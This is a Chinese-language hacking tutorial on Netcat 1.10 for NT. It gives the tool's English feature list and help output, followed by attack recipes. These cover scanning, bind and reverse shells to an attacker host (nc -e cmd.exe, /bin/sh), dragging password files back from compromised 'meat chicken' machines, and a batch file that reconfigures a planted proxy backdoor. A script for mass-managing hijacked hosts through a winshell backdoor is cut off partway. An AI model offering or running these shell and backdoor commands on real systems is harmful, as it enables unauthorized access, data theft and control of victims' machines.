1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉鸡,更改肉鸡设置
5. 下载连接
6. 后记
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1. Netcat 1.10 for NT - nc11nt.zip
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Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
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Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个putty.exe客户端程序,提供四种连接模式
-raw -telnet -rlogin -ssh.
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2. Netcat 1.10 for NT 帮助信息
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C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned (延迟时间)
-l listen mode, for inbound connects (监听模式,等待连接)
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
-o file hex dump of traffic (十六进制模式输出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
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3. Netcat 1.10 常用的命令格式
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下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探：
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹，系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s（nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP）
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件：
3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc －vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.抢劫服务器其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.
nc victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
nc -d victim_ip port < path\file.cmd 安静模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd md test
cd /d %windir%\system32net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
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4. 管理肉鸡,更改肉鸡设置
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4.1 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver"
使用winshell后门. 端口1234 密码password
命令格式就是
modi.bat youip.txt
___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
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